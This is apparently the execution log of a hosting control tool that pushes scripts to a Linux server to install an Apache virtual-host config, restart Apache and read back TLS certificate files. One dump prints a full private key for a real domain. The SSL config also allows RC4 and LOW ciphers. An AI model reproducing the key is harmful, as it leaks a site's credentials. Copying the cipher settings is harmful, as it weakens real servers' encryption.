	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:02:23: 

chmod 755 /tmp/pkp653861; /tmp/pkp653861; rm /tmp/pkp653861

2025-08-30 06:02:23: 


dir=/etc/ssl/certs


2025-08-30 06:02:23: 

PUT: /tmp/pkp817475

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:02:23: 

chmod 755 /tmp/pkp817475; /tmp/pkp817475; rm /tmp/pkp817475

2025-08-30 06:02:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-08-30 06:02:23: 

PUT: /tmp/pkp676280

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi


2025-08-30 06:02:23: 

chmod 755 /tmp/pkp676280; /tmp/pkp676280; rm /tmp/pkp676280

2025-08-30 06:02:23: 




2025-08-30 06:02:23: 

PUT: /tmp/pkp631234

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:02:23: 

chmod 755 /tmp/pkp631234; /tmp/pkp631234; rm /tmp/pkp631234

2025-08-30 06:02:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:02:24: Establishing a connection
2025-08-30 06:02:24: 

PUT: /tmp/pkp361945

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:02:24: 

chmod 755 /tmp/pkp361945; /tmp/pkp361945; rm /tmp/pkp361945

2025-08-30 06:02:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:02:24: 

PUT: /tmp/pkp730713

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:02:24: 

chmod 755 /tmp/pkp730713; /tmp/pkp730713; rm /tmp/pkp730713

2025-08-30 06:02:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf	1656

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-08-30 06:02:24: 

PUT: /tmp/pkp750544

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:02:24: 

chmod 755 /tmp/pkp750544; /tmp/pkp750544; rm /tmp/pkp750544

2025-08-30 06:02:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt	5369
ef:64:7f:d1:38:c8:d7:92:bb:4a:14:1c:90:1d:1d:7e

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBuavTtACnwucK8NB6Kr4FOvfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMzUyWhcNMjUxMTI4MDUwMzUxWjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDWAqXce05lokV/aV19muOyGRwMEXpC3LPFzgMVwNzBIKQyJ/U0
dnwbqYdk8vUuf2y603Ts0AFcekjoi2pFCl4sRfr14Oyl2E0Bnf6efwqkOlUCSLN+
FF46tWVr8yLNzSM6hsVDtMYPifok5gnfkT770y+eIlMDQczCtTKEy44wJoMQ9HRK
75QIB+RMGZrNjE9ux5AszaMf9C4TiimeMqxmIXPRQZue8CKSVojitiRCFQpOqyG5
sx2+8SGlEONWpEKoHcpy6Y3UFhBHrg0V7VsmNsLEwgImlVA2h1OwLZHpQVFQGSI3
SziHMZgYh8zKeIV58hkoFhSYkgMisHhxA7NhAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFA+ZWR3ik313Ak0l/l0nBA5Fhdj0MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTYuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQA
AAGY+ZHdrAAABAMARzBFAiEAqZVOzPWH4vpsoWZQCECeRh1+dVqRz1LXoM1gvoIV
wkgCIGqatdsGZ1DkD5NJq8+J96lHZVcHyXGEU1tDbVvBNhAPAHYA7TxL1ugGwqSi
AFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGY+ZHdyQAABAMARzBFAiEAgPDeNSsQ
fIXcXZ6v1rkyAvmmgq7LuiR14guEXQ93FSYCIGAOYvykmB0LVX4l1/u2sT4BK/Ej
o2P/Nuydxnm/DEznMA0GCSqGSIb3DQEBCwUAA4IBAQAcj2H+GZ6j36yaVJM78xHG
2cTC9eNKhDiUloRmF/u1//fwXeu2J/8hXOdQmsNXf6mDoBRLmKpGYGRMBpGFOYPf
Q7Fr8hIgBMxGAbmSRCbBRUULwYMJ0Cw2dfAcBpqYkYAs+iMpAexh3tgE2dhy2XQX
6FOADxZ0/gBCgbdfdX1vhFV/Jnb1VrOUjHCKzdH4gDPhg8kmu70ZEWQMDi2VW4nM
Ba1PxagqDFmgmPCuhA1Q8jaPFayKFZKCqdy4Op0eDxWYEIh1vT/DC9shST+kBQKR
I4mKZRcN9sKDHfqf0nR77mfnqWeVb06I5qC1ryZSEq8jomDUIyl69UhFvg6gXCRs
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWAqXce05lokV/
aV19muOyGRwMEXpC3LPFzgMVwNzBIKQyJ/U0dnwbqYdk8vUuf2y603Ts0AFcekjo
i2pFCl4sRfr14Oyl2E0Bnf6efwqkOlUCSLN+FF46tWVr8yLNzSM6hsVDtMYPifok
5gnfkT770y+eIlMDQczCtTKEy44wJoMQ9HRK75QIB+RMGZrNjE9ux5AszaMf9C4T
iimeMqxmIXPRQZue8CKSVojitiRCFQpOqyG5sx2+8SGlEONWpEKoHcpy6Y3UFhBH
rg0V7VsmNsLEwgImlVA2h1OwLZHpQVFQGSI3SziHMZgYh8zKeIV58hkoFhSYkgMi
sHhxA7NhAgMBAAECggEBAKow1OIwFTpx/77Bdh3rTWRW350hUQ9XIIgPuxhTlbro
UGuqpy+fgjclbIz1QdJGd5tjijrBeDOo884rAMoC4r1msZtT0h5Zk3PTx6cX9MiB
sxTr6AI+BGm/0/YzFtx/ZKKohru/STsWSR2K6xMmGOZ/HgEt3sJaU5IMMy60ClFy
+qzI4l2AVjabMNCYDZpaQtJYgC+QhQOnBEdJ8J/5cbjXGrM02oHr8BqK46zS75KP
jGi6KO9f94jyO3jl18ZzSqU6t5p01BhCIHQ16Rs6EJwjtax4OEj4WMxXD+iczWnY
Be+OfjLRCMHxK8O93AS4/D6heTc0jVqHOeYo/rDAnNkCgYEA7zfsgoA4Oa79JTSo
zIYEDQqrQzLhpL8IavthcIiqTELwOO2MVg6KtnxwOMmoctaeuGPhe8OWfZPvXsG+
XR2k+xWqqbu3dLJW4fTSf4munGvAiX0slysOQYTPqaq+HMmawFK9HnFt/RHx4Hvb
8b9UU45Lg1kWgxXhGpwjdZ40d08CgYEA5QYEQ8UkhF6iepS9Xzp/JZgmn3oKiwQi
aZ39C+jVdH25lmWwlk/4F6MkaxNaRyXQuWZ8qQxgyflPIcfqynUuyEqj8sN+OHbw
ME5x5pDqXmJ/VNWtMByzG9XNGT0flF7DC/yKvPxNThHF2Aa4w+9YQbgbNv7DWGsz
CHdKO+vGfk8CgYAJk/OkRf36UUdRdgpMJhGDdCnnRuJB9mQf5HDCULaA1y1HGjvE
NlDXfaQAohJchrtUJqugiPQ9ku7CnH9Cuy0f4H40zY9K3Nkdsu+6q4iSOr46wwhG
BTNM7ERkRrHV9Tx89tMbpO8CcvV8R3lG9KIrtkbPu4FrPjUFG7tPukXfgQKBgBKb
y4rqIM50lgUZws1TBnO6iiDZHLQw8M7eHGp0T6u4b3Tt7Ew6UTEye0oL94DibLQz
xJtDuzWOAUUAZm5u2Q9DKVEXW1EhMODr7stKKRDkNe5hskG/gzoWxCRx1/gJPxXh
PjCe23Ulcorb+PVKpEQqvmNYjezIQQxGDQ0TWjx3AoGAfZ8xFTZLzIBUAkD0B/ih
4RomzvQTQR6/xD4gjVxxZdLq0NJ98ygICCWnlNcqdrFmDvhbQ5P/rDBdFwaTTV2j
AGJ9jLCcutt0+cCRws5v97kNupATQcKXbsuy/B4/R78zFlQwak8cH9DKewKPHmo0
iM+XePcX6FQH9poGFzPirc8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-30 06:02:24: Establishing a connection
2025-08-30 06:02:24: Establishing a connection
2025-08-30 06:02:24: 

PUT: /tmp/pkp385403

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:02:25: 

chmod 755 /tmp/pkp385403; /tmp/pkp385403; rm /tmp/pkp385403

2025-08-30 06:02:25: 


0


2025-08-30 06:02:51: Establishing a connection
2025-08-30 06:02:51: 

PUT: /tmp/pkp987702

#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt

cat > $temp_file <<'endmsg'
be:8b:dd:39:ee:74:fe:7d:c8:f0:50:73:c9:76:b4:8a

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBt76Dv+h39GoNJsKOX80RrpdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNDIwWhcNMjUxMTI4MDUwNDE5WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAnZIZUtypx6N1QZGQ3ftlA3ukU3Qb9TeXi3WVNRb4P+Jp
hZm7U7vzWt+TGVqc+FKJfMqfIN1gGC7k+VlrlTtW2A53jr4PazMsvKPIMcqoGdDZ
m12h6e5upxqTVcVbMrHrKgUCgZY/Joj3QLM3foxVWPVjpUWW8qeygGuuQLxGH5mX
DOavsr6qO4tx+taEdYDUwx6vflJuvDND/SmxqltgOuX1QIkGqYawln2PUzLd5kST
27r4ifNegCzM8ZIc53p7NaTuTZKjLBUCp5BhBk9Y1X+habz0ybO/+SzCCOYNx3L1
eqvSWherjR41ImjK5ltjhBLOo1aMluTG9Lhpq4o7fQIDAQABo4ICKzCCAicwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQQc2bA6mGGYiIJZgU3RnvPbAGZXDAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85NC5jcmwwggED
BgorBgEEAdZ5AgQCBIH0BIHxAO8AdQDM+w9qhXEJZf6Vm1PO6bJ8IumFXA2Xjbap
flTA/kwNsAAAAZj5kktJAAAEAwBGMEQCIAmQZY6HaSzEvjQtq9NI+EMD+XT7xxTr
